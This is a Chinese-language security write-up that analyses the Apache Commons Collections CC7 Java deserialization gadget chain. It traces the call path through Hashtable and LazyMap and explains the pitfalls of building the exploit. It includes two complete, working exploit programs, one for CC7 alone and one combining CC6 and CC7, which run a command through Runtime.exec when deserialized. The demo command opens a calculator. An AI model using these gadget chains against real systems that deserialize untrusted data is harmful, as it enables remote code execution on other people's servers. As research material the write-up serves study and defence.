CC7链较之前分析的调用链相比更加复杂,构造 exp的坑点也更多。
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map1 = new HashMap<>(); Map lazyMap1 = LazyMap.decorate(map1, chainedTransformer); lazyMap1.put("yy", 1); Map map2 = new HashMap<>(); Map lazyMap2 = LazyMap.decorate(map2, new ConstantTransformer(2)); lazyMap2.put("zZ", 1);
Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,2);
lazyMap2.remove("yy"); Class lazzMapClass = LazyMap.class; Field factoryField = lazzMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap2, chainedTransformer);
serialize(hashtable); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
可以参考 ysoserial中的 CommonsCollections7.java (https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java)
1 2 3 4 5 6 7
| java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut LazyMap中没有 equals,向上找父类 AbstractMapDecorator org.apache.commons.collections.map.AbstractMapDecorator.equals HashMap中也没有 equals,向上找父类 AbstractMap java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get
|
1、LazyMap.get方法可以在 AbstractMap.equals中被调用:

2、AbstractMap.equals可以在 AbstractMapDecorator.equals中被调用:

3、AbstractMapDecorator.equals可以在 Hashtable.reconstitutionPut中被调用:

4、Hashtable.reconstitutionPut在 Hashtable.readObject中被调用:

EXP构造坑点
1、hashtable.put(lazyMap2, 2)提前触发 equals导致提前命令执行:

利用前几条链的思路,先给 lazyMap2的 factory属性使用 new ConstantTransformer赋值,hash table.put(lazyMap2,2)之后再利用反射修改会 chainedTransformer:

2、hashtable.put(lazyMap2,2)时,经过 LazyMap.get方法时会将 lazyMap1中的键 “yy”添加到 lazyMap2中,导致反序列化时不执行 transform,导致不能命令执行:


所以需要在 hashtable.put(lazyMap2,2)之后删除 lazyMap2中的 “yy”键:

3、new ConstantTransformer(?) 中 ?的值不能和 hash table.put(lazyMap2, value)中的 value值相同,否则不会触发 hashtable.put(lazyMap2, value)中的 addEntry方法,导致后续代码无法正常执行:

打断点跟进 hashtable.put(lazyMap2, value)的逻辑中,跟进 entry.key.equals(key),在 AbstractMap.equals方法中进行了判断,若这两个值相同,则会返回 true:

后果就是在 hashtable.put中,直接进入到 if逻辑中,return old而不是执行 addEntry方法,导致后续代码无法正常执行:

4、lazyMap1和 lazyMap2计算后的 hash值需要相同,因为使用了 &&,若左侧语句为 false,则不会执行右侧代码,即不会执行 entry.key.equals(key):

CC6 + CC7
分析 CC7的过程中可以看到 Hashtable.reconstitutionPut中调用了 key.hashCode方法,故可以联合利用 CC6中的 TiedMapEntry.hashCode进行组合利用:

完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7_hashCode { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); lazyMap.put("aa", 1); TiedMapEntry entry = new TiedMapEntry(lazyMap, "b"); Hashtable<Object, Object> hashtable = new Hashtable(); hashtable.put(entry, 1); lazyMap.remove("b");
Class lazyClass = LazyMap.class; Field factoryField = lazyClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
serialize(hashtable); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
调用链流程图
